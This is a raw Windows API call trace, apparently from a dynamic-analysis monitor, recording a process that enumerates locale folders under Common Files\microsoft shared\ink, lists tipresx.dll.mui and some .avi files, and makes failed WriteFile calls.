	[0242.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0242.574] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.575] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.575] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.575] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0242.575] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1
	[0242.575] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0242.576] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.576] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.576] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.576] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0242.577] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0242.595] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.597] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.597] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.597] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.597] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.597] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0242.597] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.598] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.598] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.598] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.598] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.599] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0242.599] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0242.600] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.600] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.600] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.600] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0242.600] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1
	[0242.608] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000225790 | out: lpFileInformation=0xc000225790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0xc000225548 | out: lpFindFileData=0xc000225548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0242.643] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1
